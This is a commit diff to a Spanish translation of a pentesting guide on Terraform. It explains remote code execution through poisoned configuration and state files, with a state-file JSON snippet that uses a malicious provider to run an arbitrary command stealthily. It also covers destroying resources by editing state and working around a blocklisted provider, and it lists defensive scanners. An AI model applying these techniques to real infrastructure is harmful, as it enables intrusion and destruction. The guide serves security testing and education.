Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

This commit is contained in:
Translator
2025-01-05 15:21:01 +00:00
parent 7061d233c5
commit 9c8defc861
3 changed files with 113 additions and 37 deletions

View File

@@ -6,7 +6,7 @@
[De la documentación:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como locales** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
#### ¿Cómo funciona Terraform?
@@ -14,7 +14,7 @@ Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a
![](<../images/image (177).png>)
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
El flujo de trabajo central de Terraform consta de tres etapas:
@@ -30,9 +30,9 @@ Solo instala terraform en tu computadora.
Aquí tienes una [guía](https://learn.hashicorp.com/tutorials/terraform/install-cli) y aquí tienes la [mejor manera de descargar terraform](https://www.terraform.io/downloads).
## RCE en Terraform
## RCE en Terraform: envenenamiento de archivos de configuración
Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform**.
Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform** o **poder modificar el archivo de estado de terraform** (ver capítulo a continuación).
Sin embargo, terraform es un **componente muy sensible** a comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que pueda funcionar correctamente.
@@ -44,7 +44,7 @@ De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente de
atlantis-security.md
{{#endref}}
Si puedes comprometer un archivo de terraform, hay diferentes formas en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
Si puedes comprometer un archivo de terraform, hay diferentes maneras en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
### Terraform plan
@@ -52,7 +52,7 @@ Terraform plan es el **comando más utilizado** en terraform y los desarrollador
**Usando un proveedor externo**
Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interaccionar entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`.
Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interfaz entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`.
Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar `terraform plan`:
```javascript
@@ -124,7 +124,35 @@ value = nonsensitive(var.do_token)
```
## Abusando de los Archivos de Estado de Terraform
En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo:
En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo. Incluso si tuvieras acceso de escritura sobre los archivos de configuración, usar el vector de archivos de estado es a menudo mucho más sigiloso, ya que no dejas rastros en el historial de `git`.
### RCE en Terraform: envenenamiento de archivos de configuración
Es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso falso que haga referencia al proveedor malicioso.
El proveedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se basa en la investigación y arma este principio. Puedes agregar un recurso falso y declarar el comando bash arbitrario que deseas ejecutar en el atributo `command`. Cuando se activa la ejecución de `terraform`, esto se leerá y ejecutará tanto en los pasos de `terraform plan` como en `terraform apply`. En el caso del paso `terraform apply`, `terraform` eliminará el recurso falso del archivo de estado después de ejecutar tu comando, limpiando después de sí mismo. Más información y una demostración completa se pueden encontrar en el [repositorio de GitHub que alberga el código fuente para este proveedor](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Para usarlo directamente, simplemente incluye lo siguiente en cualquier posición del array `resources` y personaliza los atributos `name` y `command`:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Entonces, tan pronto como se ejecute `terraform`, tu código se ejecutará.
### Eliminando recursos <a href="#deleting-resources" id="deleting-resources"></a>
@@ -148,28 +176,13 @@ Porque terraform verá que el recurso no debería existir, lo destruirá (siguie
]
},
```
2. **Modificar el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)**
2. **Modifique el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)**
Para una instancia de EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
### RCE
### Reemplace el proveedor en la lista negra
También es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso vacío con el proveedor malicioso. Ejemplo de la investigación original:
```json
"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [
]
},
```
### Reemplazar proveedor en la lista negra
En caso de que te encuentres en una situación donde `hashicorp/external` fue puesto en la lista negra, puedes re-implementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o re-implementación.
En caso de que se encuentre en una situación donde `hashicorp/external` fue puesto en la lista negra, puede reimplementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puede publicar su propio fork o reimplementación.
```terraform
terraform {
required_providers {
@@ -208,20 +221,20 @@ snyk iac test /path/to/terraform/code
**Checkov** es una herramienta de análisis de código estático para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto.
Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos.
Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en grafos.
Realiza un [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs).
Realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes y imágenes de código abierto en busca de Vulnerabilidades y Exposiciones Comunes (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
De los [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
- **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados.
- **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC?
- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Ver [Instalación](https://terraform-compliance.com/pages/installation/)
- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/)
- **pre-despliegue:** valida tu código antes de que se despliegue.
- **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados.
- **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable.
@@ -235,7 +248,7 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
De los [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas.
Desde la [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas.
- ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos menores) proveedores de nube
- ⛔ Cientos de reglas integradas
@@ -247,7 +260,7 @@ De los [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisi
- 🙅 Aplica (y embellece) políticas Rego definidas por el usuario
- 📃 Soporta múltiples formatos de salida: lovely (predeterminado), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
- 🛠️ Configurable (a través de flags de CLI y/o archivo de configuración)
- ⚡ Muy rápido, capaz de escanear rápidamente enormes repositorios
- ⚡ Muy rápido, capaz de escanear rápidamente grandes repositorios
```bash
brew install tfsec
tfsec /path/to/folder
@@ -278,5 +291,6 @@ brew install terrascan
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
{{#include ../banners/hacktricks-training.md}}